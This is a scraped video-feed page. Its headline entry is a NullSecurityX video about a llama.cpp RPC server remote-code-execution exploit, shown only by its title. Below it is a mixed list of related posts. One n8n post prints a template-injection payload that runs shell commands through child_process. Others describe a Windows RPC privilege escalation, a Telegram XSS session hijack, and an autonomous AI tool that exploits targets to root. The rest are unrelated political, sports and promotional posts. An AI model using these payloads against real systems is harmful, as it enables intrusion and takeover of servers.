Loading video...

Video Failed to Load

There was a problem loading this video. This could be due to a temporary network issue or the video might be unavailable.

Exploiting llama.cpp’s RPC Server - From Null Buffer to RCE Against PIE + Full RELRO + NX | CVE-2026-34159: The vulnerability is a one-line logic bug in the RPC server’s tensor deserialization pipeline. Youtube: Blog:

NullSecurityX

11,808 subscribers

19,539 views • 3 months ago •via X (Twitter)

Anya Rossi• Live Now

Private livecam show

0 Comments

No comments available

Comments from the original post will appear here

Related Videos

$Zero Click Unauthenticated RCE in n8n (CVE-2026-27493) The chain exploitation method is: Allow User input SSTI exploitation e.g. {{7*7}} ={{$node["NodeName"].constructor.constructor('return process.mainModule.require("child_process").execSync("id ").toString()')()}}$

Zero Click Unauthenticated RCE in n8n (CVE-2026-27493) The chain exploitation method is: Allow User input SSTI exploitation e.g. {{7*7}} ={{$node["NodeName"].constructor.constructor('return process.mainModule.require("child_process").execSync("id ").toString()')()}}

NullSecurityX

36,845 views • 3 months ago

So here is new local privilege escalation zero-day I discovered, not patched yet too :). In simple terms, if you have a service like RDP that exposes an RPC server, there many system services running as SYSTEM connect to it as RPC clients. If that service is turned off (RDP is off by default), it seems that any other process in Windows can expose the same RPC server using the same endpoint. Now all the RPC calls from that SYSTEM processes will come to this fake server and If the process that deployed the server has SeImpersonatePrivilege, it can escalate to SYSTEM by impersonate the RPC client. In the white paper below, I describe five exploit paths you can abuse. However it's architecture problem and maybe there are more. It's Not A Potato

So here is new local privilege escalation zero-day I discovered, not patched yet too :). In simple terms, if you have a service like RDP that exposes an RPC server, there many system services running as SYSTEM connect to it as RPC clients. If that service is turned off (RDP is off by default), it seems that any other process in Windows can expose the same RPC server using the same endpoint. Now all the RPC calls from that SYSTEM processes will come to this fake server and If the process that deployed the server has SeImpersonatePrivilege, it can escalate to SYSTEM by impersonate the RPC client. In the white paper below, I describe five exploit paths you can abuse. However it's architecture problem and maybe there are more. It's Not A Potato

Haidar

51,183 views • 3 months ago

Exploit PoC Telegram Web app XSS / Session Hijacking 1-click The XSS vulnerability is triggered using the event type web_app_open_link via postMessage. (CVE-2024–33905)

Exploit PoC Telegram Web app XSS / Session Hijacking 1-click The XSS vulnerability is triggered using the event type web_app_open_link via postMessage. (CVE-2024–33905)

NullSecurityX

94,552 views • 3 months ago

If you want to be able to call server functions from the client, RPC is often the move. The Bun + Better Call combo gets you a fullstack solution in very little code. Server, Client, bundling and HMR 👌 had to record a little video showing the setup

If you want to be able to call server functions from the client, RPC is often the move. The Bun + Better Call combo gets you a fullstack solution in very little code. Server, Client, bundling and HMR 👌 had to record a little video showing the setup

Wes Bos

103,642 views • 9 months ago

Here goes nginx-quicburst (CVE-2026-42530), a new RCE in Nginx discovered by our security agent VEGA and demonstrated by Nebula Security. This is only the third NGINX vulnerability since 2014 to receive NGINX’s “major” severity rating. If you use Nginx 1.31 with QUIC enabled, we recommend upgrading to the latest version. This bug has been patched in the latest Nginx release. We will publish the technical writeup, including the ASLR bypass, on July 18 together with the previous nginx-poolslip writeup.

Here goes nginx-quicburst (CVE-2026-42530), a new RCE in Nginx discovered by our security agent VEGA and demonstrated by Nebula Security. This is only the third NGINX vulnerability since 2014 to receive NGINX’s “major” severity rating. If you use Nginx 1.31 with QUIC enabled, we recommend upgrading to the latest version. This bug has been patched in the latest Nginx release. We will publish the technical writeup, including the ASLR bypass, on July 18 together with the previous nginx-poolslip writeup.

Nebula Security

91,104 views • 1 month ago

XML External Entity (XXE) vulnerability in 2026 with a practical Proof of Concept (PoC) Follow us: #BugBounty #CyberSecurity

XML External Entity (XXE) vulnerability in 2026 with a practical Proof of Concept (PoC) Follow us: #BugBounty #CyberSecurity

NullSecurityX

11,524 views • 4 months ago

someone built an AI RED TEAM that maps your entire attack surface as a knowledge graph, finds every vulnerability, then EXPLOITS them to root access AUTONOMOUSLY its called RedAmon, 9,000 templates. 17 node types, actual Metasploit shells, not reports, no pentesters needed 6 phases of autonomous recon: subdomain discovery, port scanning, http probing, resource enumeration, vulnerability scanning, MITRE mapping every finding stored in a Neo4j graph with 17 node types and 20+ relationship types. the AI reasons about the graph, finds attack paths, and runs actual Metasploit exploits, actual shells stress-tested with zero vulnerability data, zero exploit modules, one instruction find a CVE and exploit it, it went from empty database to root-level RCE in 20 steps, researched the exploit on the web, crafted a custom deserialization payload, debugged itself when the first attempt failed next try, the server responded with root access, the highest privilege level on any Linux system. full control over everything the target was running node-serialize 0.0.4, a package with a critical deserialization flaw (CVE-2017-5941, CVSS 9.8), the server takes your cookie, decodes it, and passes it straight into unserialize() which executes any code inside it, the AI figured this out on its own with no hints built on LangGraph + MCP tool servers for naabu, nuclei, curl, metasploit. hunts leaked secrets across GitHub repos, 40+ regex patterns for AWS keys, Stripe tokens, database creds

someone built an AI RED TEAM that maps your entire attack surface as a knowledge graph, finds every vulnerability, then EXPLOITS them to root access AUTONOMOUSLY its called RedAmon, 9,000 templates. 17 node types, actual Metasploit shells, not reports, no pentesters needed 6 phases of autonomous recon: subdomain discovery, port scanning, http probing, resource enumeration, vulnerability scanning, MITRE mapping every finding stored in a Neo4j graph with 17 node types and 20+ relationship types. the AI reasons about the graph, finds attack paths, and runs actual Metasploit exploits, actual shells stress-tested with zero vulnerability data, zero exploit modules, one instruction find a CVE and exploit it, it went from empty database to root-level RCE in 20 steps, researched the exploit on the web, crafted a custom deserialization payload, debugged itself when the first attempt failed next try, the server responded with root access, the highest privilege level on any Linux system. full control over everything the target was running node-serialize 0.0.4, a package with a critical deserialization flaw (CVE-2017-5941, CVSS 9.8), the server takes your cookie, decodes it, and passes it straight into unserialize() which executes any code inside it, the AI figured this out on its own with no hints built on LangGraph + MCP tool servers for naabu, nuclei, curl, metasploit. hunts leaked secrets across GitHub repos, 40+ regex patterns for AWS keys, Stripe tokens, database creds

chiefofautism

70,129 views • 5 months ago

We found a way to make money on every World Cup match without predicting a single result. How it works: A goal, red card, or penalty hits the pitch. Pro feeds (Sportradar) register it in 200ms. Polymarket’s orderbook takes 2-8 seconds to reprice. For those few seconds, the price is still showing the old score. The bot buys at that stale price, then sells once the book catches up. Match outcome is irrelevant. Honestly this might be one of the most powerful bots we’ve ever built. And it’s because of the World Cup liquidity. The tournament basically built the perfect conditions for this bot. How to plug in: 1.Sign up at PolyArb (link in bio) 2.Copy PolyArb dedicated RPC URL from the dashboard 3. Open Jupiter Predict (Polymarket but native on Solana) 4.Paste the RPC into Settings → Custom RPC 5.Activate the World Cup module ⚽️ Free to use. Profit-share only.

We found a way to make money on every World Cup match without predicting a single result. How it works: A goal, red card, or penalty hits the pitch. Pro feeds (Sportradar) register it in 200ms. Polymarket’s orderbook takes 2-8 seconds to reprice. For those few seconds, the price is still showing the old score. The bot buys at that stale price, then sells once the book catches up. Match outcome is irrelevant. Honestly this might be one of the most powerful bots we’ve ever built. And it’s because of the World Cup liquidity. The tournament basically built the perfect conditions for this bot. How to plug in: 1.Sign up at PolyArb (link in bio) 2.Copy PolyArb dedicated RPC URL from the dashboard 3. Open Jupiter Predict (Polymarket but native on Solana) 4.Paste the RPC into Settings → Custom RPC 5.Activate the World Cup module ⚽️ Free to use. Profit-share only.

PolyArbiter

132,412 views • 1 month ago

DarkForums has been hacked by NullSecurityX :) Jokes aside, we showcased the vulnerability found on Darkforums in the video. Happy hacking, everyone! 😊 Dark Web Informer #BugBounty #CyberSecurity #darkforum

DarkForums has been hacked by NullSecurityX :) Jokes aside, we showcased the vulnerability found on Darkforums in the video. Happy hacking, everyone! 😊 Dark Web Informer #BugBounty #CyberSecurity #darkforum

NullSecurityX

51,990 views • 1 year ago

Enough is enough! Time to hold trolls responsible! Libelous statements, unsubstantiated accusations, ad hominem and below the belt attacks! For years, the Duterte social media influencers dominated the space as if they were invincible — they would attack whomever that would go against who they are supporting. Myself included. All these relentless attacks can silence those who are fighting the good fight and they were successful, enough for politicians to be afraid of all these one way or another. I set myself to a different standard of social media use, I make sure that everything I write here has a basis… publicly available citations and links for further reading of those who are following me on this platform. I can face the Dutertes anytime, anywhere and defend whatever I write here, that’s how confident I am with what I choose to post here. “This has been happening for years without let up. They get away with it that is why they continue to thrive. It is a business that has become so profitable, without having to pay taxes, no liability, and with the pleasure of being able to ruin people’s reputation without having to worry about getting caught and punished,” -Rep Ace Barbers Aside from requesting the National Bureau of Investigation to look into this, Rep. Ace Barbers through the privilege speech formally asked the House plenary to conduct an investigation regarding all these. IMAGINE MY RELIEF! I thank the chairman of the House Quad Committee for his brave measure. A much needed investigation if you ask me. “Subject to your office’s investigation, these charges may include the crimes of Libel (Art. 353 RPC), Sedition (Art. 139 RPC), Conspiracy to Commit Sedition (Art. 142 of RPC). Incriminating Innocent Person Act (Art. 363 RPC) and Intriguing Against Honor (Art. 364 RPC) – all in relation to Sec. 6 of the Cybercrime Prevention Act”.

Enough is enough! Time to hold trolls responsible! Libelous statements, unsubstantiated accusations, ad hominem and below the belt attacks! For years, the Duterte social media influencers dominated the space as if they were invincible — they would attack whomever that would go against who they are supporting. Myself included. All these relentless attacks can silence those who are fighting the good fight and they were successful, enough for politicians to be afraid of all these one way or another. I set myself to a different standard of social media use, I make sure that everything I write here has a basis… publicly available citations and links for further reading of those who are following me on this platform. I can face the Dutertes anytime, anywhere and defend whatever I write here, that’s how confident I am with what I choose to post here. “This has been happening for years without let up. They get away with it that is why they continue to thrive. It is a business that has become so profitable, without having to pay taxes, no liability, and with the pleasure of being able to ruin people’s reputation without having to worry about getting caught and punished,” -Rep Ace Barbers Aside from requesting the National Bureau of Investigation to look into this, Rep. Ace Barbers through the privilege speech formally asked the House plenary to conduct an investigation regarding all these. IMAGINE MY RELIEF! I thank the chairman of the House Quad Committee for his brave measure. A much needed investigation if you ask me. “Subject to your office’s investigation, these charges may include the crimes of Libel (Art. 353 RPC), Sedition (Art. 139 RPC), Conspiracy to Commit Sedition (Art. 142 of RPC). Incriminating Innocent Person Act (Art. 363 RPC) and Intriguing Against Honor (Art. 364 RPC) – all in relation to Sec. 6 of the Cybercrime Prevention Act”.

Just

91,128 views • 1 year ago

If we lived in a normal world and normal Country, one where we call benefit from exploiting our resources a pipeline would just be built. Who is going to invest in a project that has this level of hoops to jump through in order for it to happen? This has been set up to fail from day one. When the leader of your Country is so visibly uncomfortable talking about something as simple as a pipeline, it’s not happening.

If we lived in a normal world and normal Country, one where we call benefit from exploiting our resources a pipeline would just be built. Who is going to invest in a project that has this level of hoops to jump through in order for it to happen? This has been set up to fail from day one. When the leader of your Country is so visibly uncomfortable talking about something as simple as a pipeline, it’s not happening.

Ryan Gerritsen🇨🇦🇳🇱

18,879 views • 2 months ago

Delete highlight cover IDOR bug in Instagram $3000 Bug Bounty PoC Write-up:

Delete highlight cover IDOR bug in Instagram $3000 Bug Bounty PoC Write-up:

NullSecurityX

22,572 views • 3 months ago

In Ottawa, discussion on Alberta’s pipeline are now framed as violence against women. "Violence against nature and the climate are inseparable from violence against humans. One example is climate change as a gendered issue, which leads to systemic disadvantages for all women."

In Ottawa, discussion on Alberta’s pipeline are now framed as violence against women. "Violence against nature and the climate are inseparable from violence against humans. One example is climate change as a gendered issue, which leads to systemic disadvantages for all women."

John Tomkinson

59,499 views • 1 month ago

🥓Expo Router v5 is here and it's packed with powerful new features to help you build beautiful full-stack native apps. There is a hearty blog post from Evan Bacon 🥓 below with all the details. Here are a couple of the highlights: ◆ Improved Errors and Logging ◆ API Routes in Production ◆ React Server Functions (Beta) Tons more to learn about in the blog. Check it out ↓

🥓Expo Router v5 is here and it's packed with powerful new features to help you build beautiful full-stack native apps. There is a hearty blog post from Evan Bacon 🥓 below with all the details. Here are a couple of the highlights: ◆ Improved Errors and Logging ◆ API Routes in Production ◆ React Server Functions (Beta) Tons more to learn about in the blog. Check it out ↓

Expo

80,818 views • 1 year ago

8-year-old from China is writing Python and automating a YouTube system that makes $10,000 a month. Game loop, replay function, player markers - found the bug himself, explained the logic out loud, fixed the line through a projector on the entire wall. That same code in a year becomes part of a pipeline that generates videos, voices them through ElevenLabs and publishes to 5 platforms simultaneously. A high schooler with a $20 ChatGPT 5.5 subscription is already making $6,000-10,000 a month - no camera, no face, no team. This kid is building the same thing but understands every line from the inside. The difference between someone who uses the system and someone who builds it - a $20 subscription vs your own engine under the hood. At 8 years old he's already on the second path.

8-year-old from China is writing Python and automating a YouTube system that makes $10,000 a month. Game loop, replay function, player markers - found the bug himself, explained the logic out loud, fixed the line through a projector on the entire wall. That same code in a year becomes part of a pipeline that generates videos, voices them through ElevenLabs and publishes to 5 platforms simultaneously. A high schooler with a $20 ChatGPT 5.5 subscription is already making $6,000-10,000 a month - no camera, no face, no team. This kid is building the same thing but understands every line from the inside. The difference between someone who uses the system and someone who builds it - a $20 subscription vs your own engine under the hood. At 8 years old he's already on the second path.

Noisy

99,268 views • 2 months ago

** 3D Engine Update 6 ** New Buffer System. 15-20% Faster !! Using Planes A and B interleaved horizontally we can get the best of all worlds with a near continuous frame buffer for fast Triangle & Quad writes and still use DMA for fast sending of the RAM frame buffer to VRAM. Normally you get one benefit without the other leading to tradeoffs. There is a caveat ofcourse, I lose a spare plane , however thats not a large concern for what im trying to achieve, i still have the full sprite load if i need to simulate ground etc - we can also multiplex sprites if needed. So each plane is full of half fill tiles ( 4 pixels set in each tile row ) , which are then slightly offset to make the full image. Also changed to H40 mode for faster DMA albiet centered view , plenty of Hud options for side panels etc. What is quite cool is the layout in VRAM is very similar to what you see on screen just with some striping . VRAM layout to the right. Theres no more VRAM used verse a normal double buffer , the trick is here to send the buffer in one frame always as theres no room for a double buffer in vram. I have to implement partial ofscreen drawing yet hence the snapping from front to back you see still . #SGDK #SegaGenesis #SegaMegadrive

3D Engine Update 6 New Buffer System. 15-20% Faster !! Using Planes A and B interleaved horizontally we can get the best of all worlds with a near continuous frame buffer for fast Triangle & Quad writes and still use DMA for fast sending of the RAM frame buffer to VRAM. Normally you get one benefit without the other leading to tradeoffs. There is a caveat ofcourse, I lose a spare plane , however thats not a large concern for what im trying to achieve, i still have the full sprite load if i need to simulate ground etc - we can also multiplex sprites if needed. So each plane is full of half fill tiles ( 4 pixels set in each tile row ) , which are then slightly offset to make the full image. Also changed to H40 mode for faster DMA albiet centered view , plenty of Hud options for side panels etc. What is quite cool is the layout in VRAM is very similar to what you see on screen just with some striping . VRAM layout to the right. Theres no more VRAM used verse a normal double buffer , the trick is here to send the buffer in one frame always as theres no room for a double buffer in vram. I have to implement partial ofscreen drawing yet hence the snapping from front to back you see still . #SGDK #SegaGenesis #SegaMegadrive

Shannon Birt

12,052 views • 3 months ago

NO HEALTHCARE FOR ILLEGALS! This isn’t a negotiation - this is a SHAKEDOWN from the Democrats. They’re trying to undo all the provisions we put in the One Big Beautiful Bill against illegal immigration. Mark my words: WE WILL HOLD THE LINE!

NO HEALTHCARE FOR ILLEGALS! This isn’t a negotiation - this is a SHAKEDOWN from the Democrats. They’re trying to undo all the provisions we put in the One Big Beautiful Bill against illegal immigration. Mark my words: WE WILL HOLD THE LINE!

Ronny Jackson

21,317 views • 9 months ago

The footage captures the Islamic State's assault on the Nigerien military base in Inatès on June 17, 2026. Niger’s once served as a crucial buffer against Sahelian militants, preventing insurgencies in Mali and Burkina Faso from directly spilling into northern Nigeria. That is no longer the case. The writing has been on the wall for years, giving Nigeria ample opportunity to reinforce border security with Niger.

The footage captures the Islamic State's assault on the Nigerien military base in Inatès on June 17, 2026. Niger’s once served as a crucial buffer against Sahelian militants, preventing insurgencies in Mali and Burkina Faso from directly spilling into northern Nigeria. That is no longer the case. The writing has been on the wall for years, giving Nigeria ample opportunity to reinforce border security with Niger.

Defense News Nigeria

61,481 views • 29 days ago

A fun guy to get to know, but also love the confidence he has in his ability, that he's bringing to the Dallas defensive line. Good read from Tommy, and here's the full link to my interview with Donovan is also on our YouTube page: #DallasCowboys

A fun guy to get to know, but also love the confidence he has in his ability, that he's bringing to the Dallas defensive line. Good read from Tommy, and here's the full link to my interview with Donovan is also on our YouTube page: #DallasCowboys

Nicole Hutchison

33,082 views • 1 year ago